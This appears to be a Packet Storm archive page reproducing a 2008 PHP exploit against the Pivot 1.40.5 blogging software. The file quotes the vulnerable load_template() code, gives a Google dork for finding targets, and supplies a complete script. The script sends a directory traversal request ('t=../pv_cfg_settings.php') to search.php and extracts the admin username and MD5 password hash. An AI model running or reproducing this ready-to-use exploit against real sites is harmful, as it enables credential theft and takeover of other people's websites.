exploit the possibilities

pivot-disclosure.txt

pivot-disclosure.txt
Posted Jul 1, 2008
Authored by Nine:Situations:Group | Site retrogod.altervista.org

Pivot version 1.40.5 Dreamwind load_template() credential disclosure exploit.

tags | exploit, info disclosure
MD5 | 3aa95a0656fbb05e1de96366a7bc772d

pivot-disclosure.txt

Change Mirror Download
<?php
/*

Pivot 1.40.5 'Dreamwind' load_template() credentials disclosure exploit

by Nine:Situations:Group::bookoo

our site: http://retrogod.altervista.org/
software site: http://www.pivotlog.net/

Google dork: "by Pivot - 1.40.5" +'Dreadwind' -pivotlog.net


vulnerability:

search.php - lines 98-109:

...
// Set the template for the tags page
if (!isset($Pivot_Vars['t']) || empty($Pivot_Vars['t'])) {
if (isset($Weblogs[$Current_weblog]['extra_template']) && ($Weblogs[$Current_weblog]['extra_template']!="") ) {
$template = $Weblogs[$Current_weblog]['extra_template'];
} else {
$template = $Weblogs[$Current_weblog]['archive_template'];
}
} else {
$template = $Pivot_Vars['t'];
}

$template_html = load_template($template);
...

't' argument is passed to load_template() function without checks

see load_template() function in /modules/module_parser.php - lines 778-797

...
function load_template($basename) {
global $template_cache, $Paths;

$filename = $Paths['templates_path'].$basename;

if (isset($template_cache[$basename])) {
return $template_cache[$basename];
} else {

if (!(file_exists($filename))) {
$filename = $Paths['templates_path']."entrypage_template.html";
}
$filetext=implode("", file($filename)); // <----------------------------|_ lol !!!

$template_cache[$basename]=$filetext;

return $filetext;
}

}
...

our argument is passed to a file() function, so, regardless of php settings,
we can see php files at screen trough directory traversal attacks, including the
configuration file (pv_cfg_settings.php), which cointains the admin credentials
(username/md5 hash/sessions...)

note: 't' can be passed as GET or POST
----------------------------------------------------------------------------

If you think this poc is useful, please help us to improve our equipment and
donate through the paypal button on our site!
*/

error_reporting(7);
$host=$argv[1];
$path=$argv[2];
$argv[3] ? $port = (int) $argv[3] : $port = 80;
$argv[2] ? print("attackin'...\n") : die ("syntax: php ".$argv[0]." [host] [path] [[port]]");

$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
$win ? dl("php_curl.dll") : dl("php_curl.so");

$url = "http://$host:$port";

$exploit="t=../pv_cfg_settings.php";

$header ="POST ".$path."search.php HTTP/1.0\r\n";
$header.="Host: $host\r\n";
$header.="Content-Type: application/x-www-form-urlencoded\r\n";
$header.="Content-Length: ".strlen($exploit)."\r\n";
$header.="Connection: Close\r\n\r\n";
$header.=$exploit;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);


$data = curl_exec($ch); if (curl_errno($ch)) {
print curl_error($ch)."\n";
} else {
curl_close($ch);
}
// print $data."\n";
preg_match("/userlevel\|4\|/",$data) ? print("exploit succeeded!") : die("exploit failed!");
$tmp=explode("user-",$data);$tmpii=explode("!",$tmp[1]);$admin=$tmpii[0];
print "\n\nadmin user: ".$admin."\n";
$tmp=explode("pass|",$data);$tmpii=explode("|",$tmp[1]);$hash=$tmpii[0];
print "\nmd5 hash : ".$hash."\n";


?>

Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close